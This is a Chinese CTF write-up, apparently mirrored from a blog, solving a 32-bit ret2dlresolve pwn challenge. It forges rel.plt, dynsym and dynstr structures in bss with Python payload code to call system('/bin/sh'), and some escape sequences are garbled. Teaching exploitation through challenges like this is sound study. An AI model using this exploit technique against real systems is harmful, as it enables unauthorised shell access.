zoukankan      html  css  js  c++  java
  • ret2dl32

    ret2dl32

    首先检查一下保护:

    image-20200514131152092

    IDA分析一下

    image-20200514131218966

    程序很简单就是,往bss段上的buf读入0x400个数据,然后拷贝到栈上。read_got还被置为0,这一看就是要逼着你使用ret2dlresolve。

    首先我们程序劫持到bss段

    padding = 'x00'*0x10c
    padding += p32(base_stage+4)+'x00'*8+ p32(base_stage+0x500)
    padding =  padding.ljust(0x300,'x00')
    

    上面的代码使得我们把控制流劫持到base_stage的位置。base_stage就是buf+0x300的位置。

    接下来我们伪造 rel.plt ,dynsym ,dynstr这三个结构体,最后是布置好参数让程序执行plt0。

    fake_sym_addr = base_stage + 0x18
    align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
    fake_sym_addr = fake_sym_addr + align
    
    index_dynsym = (fake_sym_addr - dynsym) /0x10
    r_info = (index_dynsym << 8) | 0x7
    
    st_name = (fake_sym_addr+0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
    index_offset = (base_stage + 0x10) - rel_plt
    
    payload =  p32(plt_0)
    payload += p32(index_offset)    #+0x4
    payload += 'BBBB'
    payload += p32(base_stage+80)	#+0xC
    payload += p32(elf.got['read']) + p32(r_info)         #fake_rel
    payload += 'C' * align
    payload += p32(st_name) + p32(0) + p32(0) + p32(0x12) #fake_sym
    payload += 'systemx00'								  #fake_dynstr
    payload = payload.ljust(80,'A')			
    payload += '/bin/shx00
    
  • 相关阅读:
    net core 3.1 依赖注入
    vue temeplete standard
    net core 3.1 Global
    vue Multiple selection
    c# mvc modelstate
    vue temeplete
    vue element pickdate combox input 排版
    c# 生成 验证码
    vue checkbox ajax
    js算法(2)
  • 原文地址:https://www.cnblogs.com/Rookle/p/12888056.html
Copyright © 2011-2022 走看看